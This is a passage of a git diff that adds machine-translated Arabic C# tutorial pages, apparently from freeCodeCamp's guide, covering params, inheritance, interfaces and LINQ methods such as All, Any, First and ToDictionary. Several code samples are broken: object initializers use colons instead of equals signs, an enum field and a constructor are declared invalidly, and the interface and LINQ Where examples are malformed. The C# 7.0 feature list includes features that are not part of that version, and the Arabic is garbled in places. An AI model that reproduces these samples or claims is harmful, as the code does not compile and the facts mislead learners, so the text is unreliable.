+        -> If name is neither "John" nor "Fabio", output is "Oh! I thought you were John or Fabio. Anyway, nice to meet you {0}!" where {0} contains the name. 
+    */ 
+` 
+
+إذا كانت العبارة تحتاج إلى نتيجة منطقية ، أي صواب أو خطأ. في بعض لغات البرمجة ، يمكن تحويل العديد من أنواع البيانات تلقائيًا إلى booleans ، ولكن في C # ، يجب أن تقوم بشكل منطقي بجعل النتيجة منطقية. على سبيل المثال ، لا يمكنك استخدام if (number) ، ولكن يمكنك مقارنة الرقم بشيء ما ، لتوليد true أو false.
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/indeterminate-parameters/index.md b/client/src/guide/arabic/csharp/indeterminate-parameters/index.md
new file mode 100644
index 0000000000..190f5166b7
--- /dev/null
+++ b/client/src/guide/arabic/csharp/indeterminate-parameters/index.md
@@ -0,0 +1,35 @@
+---
+title: Indeterminate parameters
+localeTitle: معلمات غير محددة
+---
+# معلمات غير محددة
+
+دعونا نتخيل أننا نحتاج إلى كتابة طريقة يكون فيها عدد المعلمات متغيرًا. كيف يمكننا فعل ذلك؟ حسنا ، C # (ولغات أخرى) لديها طريقة سهلة للقيام بذلك ؛ باستخدام `params` الكلمة على المعلمة وسيلة ليمكن أن نطلق هذه الطريقة مع عدد متغير من المعلمات.
+
+## مثال
+
+ `public static void Main (string[] args) { 
+    // Call PrintParams with 3 parameters 
+    PrintParams(1, 2, 3); 
+ 
+    // Call PrintParams with 1 parameter 
+    PrintParams(4); 
+ } 
+ 
+ public static void PrintParams(params int[] values) 
+ { 
+    // Iterate through parameters 
+    for (int i = 0; i < values.Length; i++) 
+    { 
+        Console.WriteLine("Parameter {0} is {1}", i, values[i]); 
+    } 
+ } 
+` 
+
+## انتاج:
+
+ `> Parameter 0 is 1 
+ > Parameter 1 is 2 
+ > Parameter 2 is 3 
+ > Parameter 0 is 4 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/index.md b/client/src/guide/arabic/csharp/index.md
new file mode 100644
index 0000000000..d656726a04
--- /dev/null
+++ b/client/src/guide/arabic/csharp/index.md
@@ -0,0 +1,67 @@
+---
+title: C#
+localeTitle: C #
+---
+## C #
+
+C Sharp ، التي يشار إليها أكثر شيوعًا باسم "C #" ، هي لغة برمجة موجهة للأغراض العامة. تم تطوير C # بواسطة Anders Hejlsberg وفريق التطوير الخاص به في Microsoft وهو حاليًا في الإصدار 7.0.
+
+C # له جذوره في عائلة C اللغات. وهو يرث معظم ميزاته من C و C ++ و Java. لهذا السبب ، قد يتمكن المبرمجون المطلعون على هذه اللغات من الحصول على سرعة مع C # في فترة زمنية أقصر.
+
+C # هي لغة موجهة للكائنات توفر الدعم للبرمجة الوظيفية والموجهة.
+
+#### الطبقات والكائنات
+
+تسمح لنا الفئات بتجميع الأشياء اليومية في العالم من حولنا في البرامج. يمكنك إنشاء فئات مخصصة لتمثيل أي شيء. تماما مثل الاسم هو الشخص أو المكان أو الشيء في اللغة ، كذلك تمثل الطبقات الأشياء.
+
+عندما تكتب رمز C # ، عادة ما يكون ذلك بسبب احتياجك إلى برنامج مفيد. في حالة الحاجة التجارية ، عليك اتباع المتطلبات التي يحتاجها العمل. لنفترض أن نشاطك التجاري يأتي إليك يطلب منك قاعدة بيانات إلكترونية للكتب. يجب أن يكونوا قادرين على تخزين عناوين الكتب ، والمؤلفين ، وإحصائيات الحساب ، مثل عدد مرات الوصول في شهر معين ، أو المتوسط ​​الشهري. تصف المتطلبات البرنامج الذي يجب تطويره. كيف تكتب برنامجًا للمتطلبات المحددة؟ بشكل عام ، نستخدم فصولا لإنشاء تجريدات للأسماء المختلفة التي نحتاج إلى العمل بها. اسم مثل كتاب أو مؤلف أو عنوان.
+
+من المفاهيم الهامة في C # أن يتم استخدام تعريف الفئة لإنشاء مثيلات من الكائنات. يمكنك التفكير في الأمر مثل مخطط لإنشاء نسخ من الكائنات. يسمح تعريف الفئة بإنشاء كائنات تقوم بتخزين مرجع إلى ذلك الكائن. على سبيل المثال ، لنفترض أننا نريد إنشاء كائن كتاب جديد. يبدو سطر الشفرة كما يلي:
+
+`Book book = new Book();`
+
+يؤدي هذا إلى إنشاء كائن كتاب جديد يمكننا استخدامه لمعالجة البيانات وتخزينها في قاعدة بيانات. المتغير ، كتاب ، هو في الواقع نوع مرجع من الكتاب (برأس مال B). يمكننا استخدام الأساليب المتاحة في تعريف الفئة مع هذا المتغير ، أو الكتاب ، مثل AddTitle () أو AddAuthor () وما إلى ذلك.
+
+#### ميزات C # تشمل:
+
+1.  جمع القمامة التلقائي
+2.  معالجة الاستثناء
+3.  نوع السلامة
+4.  الإصدارات
+5.  المندوبين
+6.  الخصائص
+7.  LINQ (Query-Language Query) و Lambda Expressions
+8.  الأدوية
+9.  مصنفين
+10.  خاصية تعدد
+
+#### الميزات الجديدة المضافة في C # 7.0:
+
+1.  Deconstructors
+2.  بناء الجملة الجديد للعمل مع Tuples
+3.  مطابقة الأنماط مع التعبيرات
+4.  وظائف محلية
+5.  العودة حسب المرجع
+6.  المتغيرات
+7.  تحسينات حرفية
+8.  تعميم أنواع Async العودة
+9.  مزيد من أعضاء التعبيرات بودي
+10.  رمي التعبيرات
+11.  نوع السجل
+12.  تصغير
+13.  نوع مرجع غير قادر على 'NULL'
+
+يمكنك استخدام C # لإنشاء تطبيقات عميل Windows ، وخدمات ويب XML ، والمكونات الموزعة ، وتطبيقات العميل - الخادم ، وتطبيقات قواعد البيانات ، وأكثر من ذلك بكثير.
+
+#### ASP.NET و. NET التطبيقات
+
+يتم استخدام لغة C # أيضًا مع إطار ASP.NET ، الذي تم تطويره بواسطة Microsoft Corp. ، خصيصًا لإنشاء تطبيقات ويب مستقلة عن الماكينة والمستعرض. يتم استخدام إطار .NET الأوسع ، الذي طورته Microsoft أيضًا ، لإنشاء أنواع أخرى من التطبيقات مثل تطبيقات سطح المكتب والجوّال والخادم والشبكات. يتضمن .NET Framework مكتبات .NET Base Class (BCL) و ASP.NET و ADO.NET و Windows Forms و Windows Presentation Foundation (WPF) ومكتبات لغة تمييز الترميز (XML) القابلة للتوسيع.
+
+لمزيد من المعلومات حول ASP.NET ، راجع الموضوع ، ASPNET في [دليل freeCodeCamp](https://guide.freecodecamp.org/)
+
+#### معلومات اكثر:
+
+*   [مقدمة في C #](https://docs.microsoft.com/en-us/dotnet/csharp/getting-started/introduction-to-the-csharp-language-and-the-net-framework)
+*   [C # دروس خصوصية](https://www.microsoft.com/net/tutorials/csharp/getting-started)
+*   [الوثائق الرسمية C #](https://docs.microsoft.com/en-us/dotnet/csharp/)
+*   [الميزات الجديدة في C # 7.0](https://msdn.microsoft.com/en-us/magazine/mt790184.aspx)
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/inheritance/index.md b/client/src/guide/arabic/csharp/inheritance/index.md
new file mode 100644
index 0000000000..07212672ba
--- /dev/null
+++ b/client/src/guide/arabic/csharp/inheritance/index.md
@@ -0,0 +1,58 @@
+---
+title: Inheritance
+localeTitle: ميراث
+---
+# ميراث
+
+يسمح لك الوراثة بإنشاء فصل دراسي يوسع أو يغير فئة موجودة. يمكن استخدام هذا لإنشاء فئات مشتقة من الفئات الأخرى.
+
+# الطبقة الأساسية والفئة المشتقة
+
+هذه هي المصطلحات المستخدمة في الفصول عند الإشارة إلى الوراثة. ترث الفئة المشتقة الفئة الأساسية ، مع أي متغيرات أو وظائف أو عمليات تستخدمها الطبقة الأساسية. يمكن أن يكون للفئة المشتقة المتغيرات والوظائف الخاصة بها إلى جانب تلك التي ترثها من الطبقة الأساسية.
+
+على سبيل المثال ، يمكن أن يكون لفئة أساسية من "الحيوان" فئة مشتقة من "الكلب". ستحتوي فئة الحيوانات على ميزات متعلقة بالحيوانات بشكل عام ، بينما يحتوي فصل الكلاب على ميزات فريدة للكلاب. عندما ترث فئة الكلب الطبقة الحيوانية ، فإنها ستتمكن من الإشارة إلى كل من السمات المتعلقة بالحيوانات والميزات الفريدة للكلاب.
+
+# قواعد الوراثة
+
+الوراثة هي طريقة واحدة. لا ترث الفئة الأساسية ميزات الفئة المشتقة.
+
+الوراثة متعدية. يمكن أن يكون لفئة أساسية من "الحيوان" فئة مشتقة من "الكلب" ، ويمكن أن يكون لها فئة مشتقة من "الكلب". سوف يرث فريق Terrier كلاً من خصائص فئة الكلب وفئة الحيوانات.
+
+# الرمز `:`
+
+في C # `:` يتم استخدام الرمز للإشارة إلى التوريث. يدعى هذا عند إنشاء الطبقة المشتقة.
+
+## مثال
+
+# الطبقة الأساسية
+
+ `public class Animal 
+ { 
+    public int ID; 
+    public string title; 
+    public enum phylum; 
+    public enum dietType; 
+ 
+        public DefineAnimal(int id, string name, enum phy, enum diet) 
+    { 
+        this.ID = id; 
+        this.title = name; 
+        this.phylum = phy; 
+        this.dietType = diet; 
+    } 
+ } 
+` 
+
+# فئة مشتقة
+
+ `public class Dog : Animal 
+ { 
+    public enum breed; 
+    public int levelOfTraining; 
+ 
+    public void SayWoof() 
+    { 
+        Console.WriteLine("Woof"); 
+    } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/interface/index.md b/client/src/guide/arabic/csharp/interface/index.md
new file mode 100644
index 0000000000..dea3e32c50
--- /dev/null
+++ b/client/src/guide/arabic/csharp/interface/index.md
@@ -0,0 +1,56 @@
+---
+title : Interface 
+localeTitle: جهة تعامل
+---
+* * *
+
+واجهة مشابهة لفئة أو هيكل ولكن دون تنفيذ لأعضائها. تعلن الواجهة عن تعاقد أو سلوك يجب أن يتضمنه تطبيق الفئات. قد تعلن فقط الخصائص والأساليب والأحداث مع NO معدّلات الوصول.
+
+يجب أن يتم تنفيذ جميع الأعضاء المعلنين في فئة التحكيم ، وإلا سيكون هناك خطأ في الترجمة. كالاتفاقية ، سنضع علامة على الواجهة بالحرف الأول في begenning (IMyInterface || IUserOptions). تقوم بتعريف واجهة باستخدام الكلمة الأساسية للواجهة.
+
+جميع أعضاء الواجهة هم: مجرّد ضمنيًا ، ضمنياً ، لا يمكن الإعلان عن معدِّل وصول مثل المحمي أو الخاص الخ ...
+
+واجهة يمكن:
+
+*   اكتساب من واجهات أخرى.
+*   اكتساب من واجهات متعددة في نفس الوقت
+*   تحتوي فقط على أساليب وخصائص وأحداث ومفهرس.
+
+لا يمكن للواجهة:
+
+*   وراثة من فصل دراسي.
+*   لديك التنفيذ.
+*   لديك معدّلات الوصول بخلاف العام.
+
+## \* يمكن استنساخه.
+
+يسمح لنا استخدام الواجهات بتغيير تطبيقنا في مشروعنا دون كسر أجزاء أخرى ، ولا يتعين عليك سوى تغيير مكان واحد يتم فيه إنشاء الكائن.
+
+مثال على واجهة:
+
+ `public Interface IUserFavoriteFood 
+ { 
+  void AddFood(); 
+  Task<User> EatFavoriteFood(int id); 
+ } 
+` 
+
+* * *
+
+الميراث واجهة والتنفيذ:
+
+ `public class UserHungry : IUserFavoriteFood 
+ { 
+  public AddFood() 
+  { 
+    // Implementation: 
+    // A method to add food. 
+  } 
+ 
+  public Task<User> EatFavoriteFood(int id) 
+  { 
+    // Implementation: 
+    // A method to Eat food by id. 
+  } 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/is/index.md b/client/src/guide/arabic/csharp/is/index.md
new file mode 100644
index 0000000000..7014911d0d
--- /dev/null
+++ b/client/src/guide/arabic/csharp/is/index.md
@@ -0,0 +1,11 @@
+---
+title: is
+localeTitle: هو
+---
+## هو
+
+`is` التحقق من الكلمات الرئيسية إذا كان الكائن متوافقًا مع نوع معطى ، أو (يبدأ بـ C # 7) يختبر تعبيرًا ضد النقش.
+
+#### معلومات اكثر:
+
+*   [C # المرجع: هو](https://docs.microsoft.com/dotnet/csharp/language-reference/keywords/is)
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/all/index.md b/client/src/guide/arabic/csharp/linq/all/index.md
new file mode 100644
index 0000000000..eaae1ae118
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/all/index.md
@@ -0,0 +1,29 @@
+---
+title: All
+localeTitle: الكل
+---
+# الكل
+
+يرجع صحيحا إذا كانت جميع العناصر في المجموعة تطابق المسند.
+
+### التوقيع
+
+ `public static bool All<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate); 
+` 
+
+## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // All Fruit have a quantity greater than 0. 
+ var allFruitsHaveAQuantity = fruits.All(f => f.Quantity > 0); // true 
+ // All Fruit have the Color Yellow 
+ var allYellow = fruits.All(f => f.Color == "Yellow"); // false 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/any/index.md b/client/src/guide/arabic/csharp/linq/any/index.md
new file mode 100644
index 0000000000..8cdc74ef64
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/any/index.md
@@ -0,0 +1,35 @@
+---
+title: Any
+localeTitle: أي
+---
+# أي
+
+إرجاع true إذا كان هناك عنصر واحد على الأقل يطابق المسند. عند استخدام دالة تقييم فارغة (فقط .Any () بدون أي شيء بين parantheses) ستعود true إذا لم تكن المجموعة فارغة.
+
+### التوقيع
+
+ `public static bool Any<TSource>(this IEnumerable<TSource> source); 
+ public static bool Any<TSource>(this IEnumerable<TSource> source, Func<TSource, bool> predicate); 
+` 
+
+## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Check if any Fruits have a quantity greater than 20 
+ var anyFruitGreaterThanTwenty = fruits.Any(f => f.Quantity > 20); // true 
+ 
+ // Any Fruit with color Green 
+ var anyGreen = fruits.Any(f => f.Color == "Green"); // false 
+ 
+ var hasFruits = fruits.Any(); // true 
+ 
+ var hasYellowFruit = fruits.Any(f => f.Color == "Yellow"); // true 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/count/index.md b/client/src/guide/arabic/csharp/linq/count/index.md
new file mode 100644
index 0000000000..9b1d9782f7
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/count/index.md
@@ -0,0 +1,24 @@
+---
+title: Count
+localeTitle: عد
+---
+\# أي لعرض عدد العناصر في التسلسل الذي يستوفي الشرط. ### التوقيع
+
+ `Enumerable.Count<TSource> Method (IEnumerable<TSource>, Func<TSource, Boolean>) 
+` 
+
+\## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ // Count of Fruit with Color Red. 
+ var yellowCount = fruits.Count(f => f.Color == "Red"); // 2 
+ // Count of Fruit with Quantity > 2 
+ var quantityOverTwo = fruits.Count(f => f.Quantity > 2); // 4 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/first-or-default/index.md b/client/src/guide/arabic/csharp/linq/first-or-default/index.md
new file mode 100644
index 0000000000..afa6f59254
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/first-or-default/index.md
@@ -0,0 +1,27 @@
+---
+title: First Or Default
+localeTitle: أولا أو افتراضي
+---
# FirstOrDefault
+
+إرجاع العنصر الأول الذي يفي بشرط معين اختياري. إذا تم العثور على أي عنصر ، يتم إرجاع `default()` للكائن
+
+### التوقيع
+
+ `Enumerable.FirstOrDefault<TSource>(IEnumerable<TSource>, Func<TSource, Boolean>) 
+` 
+
+## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ var firstFruit = fruits.FirstOrDefault(); // Orange 
+ 
+ var firstYellowFruit = fruits.FirstOrDefault(f => f.Color == "Green"); // null 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/first/index.md b/client/src/guide/arabic/csharp/linq/first/index.md
new file mode 100644
index 0000000000..87e096afff
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/first/index.md
@@ -0,0 +1,27 @@
+---
+title: First
+localeTitle: أول
+---
# أول
+
+إرجاع العنصر الأول الذي يفي بشرط معين اختياري. في حالة عدم العثور على أي عنصر ، يتم عرض `InvalidOperationException` ،
+
+### التوقيع
+
+ `Enumerable.First<TSource>(IEnumerable<TSource>, Func<TSource, Boolean>) 
+` 
+
+## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ var firstFruit = fruits.First(); // Orange 
+ 
+ var firstYellowFruit = fruits.First(f => f.Color == "Yellow"); // Pineapple 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/index.md b/client/src/guide/arabic/csharp/linq/index.md
new file mode 100644
index 0000000000..94ae1d8978
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/index.md
@@ -0,0 +1,58 @@
+---
+title: LINQ
+localeTitle: LINQ
+---
# LINQ (استعلام اللغة المتكامل)
+
+LINQ (Query Integrated Query) هو نموذج برمجة Microsoft ومنهجية تضيف بشكل أساسي إمكانيات الاستعلام الرسمية إلى لغات البرمجة Microsoft .NET. تقدم LINQ بنية مدمجة ومعبرة ومفهومة لمعالجة البيانات. تأتي القيمة الحقيقية لـ LINQ من قدرتها على تطبيق نفس الاستعلام على قاعدة بيانات SQL ، و DataSet ، وقائمة ، وقاموس ، إلخ.
+
+## مثال
+
+يمكن استخدام LINQ لتصفية البيانات وتحويلها والبحث عنها والكثير من المهام المعقدة. لنفترض أن لدينا قائمة الكائنات التالية:
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ } 
+` 
+
+ثم يمكننا القيام بأشياء مثل:
+
+ `// Get the name of the first fruit 
+ var firstName = fruits.Select(f => f.Name).First(); // Orange 
+ 
+ // Count how many fruits are red 
+ var qntRed = fruits.Where(Color == "Red").Count(); // 2 
+ 
+ // Create a list of yellow fruits 
+ var yellowFruits = fruits.Where(f => f.Color == "Yellow").ToList(); // { Pineapple, Mango } 
+ 
+ // Orders list by quantity from most to less 
+ var orderedFruits = fruits.OrderByDescending(f => f.Quantity).ToList(); // {Grape, Strawberry, Orange, Apple, Mango, Pineapple} 
+ 
+ // Sum the quantity of fruits 
+ var quantity = fruits.Sum(f => f.Quantity); // 53 
+ 
+ // Check if there are any green fruits 
+ var hasGreen = fruits.Any(f => f.Color == "Green"); // false 
+ 
+ // Group fruits by color into a dictionary 
+ var fruitsByColor = fruits.GroupBy(g => g.Color).ToDictionary(k => k.Key, v => v.ToList()); // Dictionary of list of fruits by color 
+ 
+ // linq operations can be concatenated and are not performed as long as data is needed 
+ var logs = new List<Log>; 
+ 
+ if (filterBySeverity) 
+    logs = logs.Where(p => p.Severity == severity); 
+    //IQueryable 
+ 
+ if (filterByUser) 
+    logs = logs.Where(p => p.User == user); 
+    //IQueryable 
+ 
+    result = logs.ToList(); 
+    //List<log> 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/last-or-default/index.md b/client/src/guide/arabic/csharp/linq/last-or-default/index.md
new file mode 100644
index 0000000000..72c977a602
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/last-or-default/index.md
@@ -0,0 +1,24 @@
+---
+title: LastOrDefault
+localeTitle: LastOrDefault
+---
+\# أي إرجاع العنصر الأخير في تسلسل يلبي شرطًا أو قيمة افتراضية في حالة عدم العثور على أي عنصر ### التوقيع
+
+ `Enumerable.LastOrDefault<TSource> Method (IEnumerable<TSource>, Func<TSource, Boolean>) 
+` 
+
+\## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ // Returns the last fruit where the Color is Yellow 
+ var lastYellow = fruits.LastOrDefault(f => f.Color == "Yellow"); // Mango 
+ // Returns the last fruit where the quantity is 20 
+ var lastQuantityOfTwenty = fruits.LastOrDefault(f => f.Quantity == 20); // null 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/select/index.md b/client/src/guide/arabic/csharp/linq/select/index.md
new file mode 100644
index 0000000000..e0e5b91919
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/select/index.md
@@ -0,0 +1,27 @@
+---
+title: Select
+localeTitle: تحديد
+---
# تحديد
+
+بيانات المشاريع من مجموعة البيانات.
+
+### التوقيع
+
+ `Enumerable.Select<TSource, TResult> Method (IEnumerable<TSource>, Func<TSource, TResult>) 
+` 
+
+## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity = 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity = 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity = 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity = 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity =  5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity = 2   } 
+ }; 
+ 
+ var mangoQnt = fruits.Where(f => f.Name == "Mango").Select(f => f.Quantity).FirstOrDefault(); // 2 
+ 
+ var grapeColor = fruits.Where(f => f.Name == "Grape").Select(f => f.Color).FirstOrDefault(); // Purple 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/single-or-default/index.md b/client/src/guide/arabic/csharp/linq/single-or-default/index.md
new file mode 100644
index 0000000000..8eb7f0149e
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/single-or-default/index.md
@@ -0,0 +1,28 @@
+---
+title: Single Or Default
+localeTitle: واحد أو افتراضي
+---
+# SingleOrDefault
+
+إرجاع العنصر المفرد في تسلسل يلبي الشرط المحدد أو القيمة الافتراضية في حالة عدم العثور على أي عنصر. ستقوم الطريقة بطرح استثناء إذا تم العثور على أكثر من عنصر واحد يفي بالشرط المحدد.
+
+### التوقيع
+
+ `Enumerable.SingleOrDefault<TSource>(IEnumerable<TSource>, Func<TSource, Boolean>) 
+` 
+
+## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ var purpleFruit = fruits.SingleOrDefault(f => f.Color == "Purple"); // Grape 
+ 
+ var greenFruit = fruits.SingleOrDefault(f => f.Color == "Green"); // null 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/to-dictionary/index.md b/client/src/guide/arabic/csharp/linq/to-dictionary/index.md
new file mode 100644
index 0000000000..31f6b2c870
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/to-dictionary/index.md
@@ -0,0 +1,32 @@
+---
+title: To Dictionary
+localeTitle: إلى قاموس
+---
# ToDictionary
+
+Greates قاموس من DataSet؛
+
+### التوقيع
+
+ `Enumerable.ToDictionary<TSource, TKey> Method (IEnumerable<TSource>, Func<TSource, TKey>) 
+` 
+
+## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Generates a Dictionary of Fruits by Id 
+ var fruitsById = fruits.ToDictionary(k => k.Id, v => v); // Dictionary<int, Fruit> 
+ 
+ // Generates a dictionary fruits by color 
+ var fruitsByColor = fruits.GroupBy(g => g.Color).ToDictionary(k => k.Key, v => v.ToList()); // Dictionary of list of fruits by color 
+ 
+ // Generates a dictionary of quantity of fruits by color 
+ var fruitsByColor = fruits.GroupBy(g => g.Color).ToDictionary(k => k.Key, v => v.Sum(s => s.Quantity)); // Dictionary of sum of fruits by color 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/to-list/index.md b/client/src/guide/arabic/csharp/linq/to-list/index.md
new file mode 100644
index 0000000000..80cabb9b83
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/to-list/index.md
@@ -0,0 +1,26 @@
+---
+title: To List
+localeTitle: لإدراج
+---
# لإدراج
+
+يولد قائمة بالنظر إلى استعلامات DataSet.
+
+### التوقيع
+
+ `Enumerable.ToList<TSource> Method (IEnumerable<TSource>) 
+` 
+
+## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
+    new Fruit() { Id = 2, Name = "Strawberry", Color = "Red",    Quantity: 12  }, 
+    new Fruit() { Id = 3, Name = "Grape",      Color = "Purple", Quantity: 25  }, 
+    new Fruit() { Id = 4, Name = "Pineapple",  Color = "Yellow", Quantity: 1   }, 
+    new Fruit() { Id = 5, Name = "Apple",      Color = "Red",    Quantity: 5   }, 
+    new Fruit() { Id = 6, Name = "Mango",      Color = "Yellow", Quantity: 2   } 
+ }; 
+ 
+ // Generates list of fruits name 
+ var fruitsNames = fruits.Select(f => f.Name).ToList(); // { "Orange", "Strawberry", "Grape", "Pineapple", "Apple", "Mango" } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/linq/where/index.md b/client/src/guide/arabic/csharp/linq/where/index.md
new file mode 100644
index 0000000000..b718cbeb67
--- /dev/null
+++ b/client/src/guide/arabic/csharp/linq/where/index.md
@@ -0,0 +1,29 @@
+---
+title: Where
+localeTitle: أين
+---
# أين
+
+عناصر الفلاتر من مجموعة البيانات.
+
+### التوقيع
+
+ `Enumerable.Where<TSource> Method (IEnumerable<TSource>, Func<TSource, Boolean>) 
+` 
+
+## مثال
+
+ `var fruits = new List<Fruit>() { 
+    new Fruit() { Id = 1, Name = "Orange",     Color = "Orange", Quantity: 3   }, 
